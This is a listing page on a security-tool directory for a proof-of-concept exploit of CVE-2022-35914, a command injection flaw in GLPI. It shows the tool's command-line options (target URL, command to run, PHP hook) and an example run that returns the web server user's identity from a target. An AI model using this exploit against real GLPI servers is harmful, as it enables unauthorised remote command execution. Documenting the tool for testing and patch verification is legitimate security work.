Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cosad3s/cve-2022-35914-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubcosad3s/cve-2022-35914-poc

CVE-2022-35914-poc

Proof-of-concept exploit for CVE-2022-35914, a command injection vulnerability in GLPI via a third-party library script. Executes arbitrary commands on vulnerable GLPI instances.

View Repository
511112 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-35914 PoC

References

  • https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr

Usage

root@kitploit:~
pip install -r requirements.txt
root@kitploit:~
./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [-f HOOK] [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Command injection using a third-party library script

options:
  -h, --help            show this help message and exit
  -u URL                URL to test
  -c CMD                Command to launch
  -f HOOK               PHP hook function (default: exec)
  --check               Just check, no command execution.
  --user-agent USER_AGENT
                        Custom User-Agent

Example:

root@kitploit:~
❯ ./CVE-2022-35914.py -u http://glpi
[+] Command output (Return code: 0):
 uid=48(apache) gid=48(apache) groups=48(apache)
Download Tool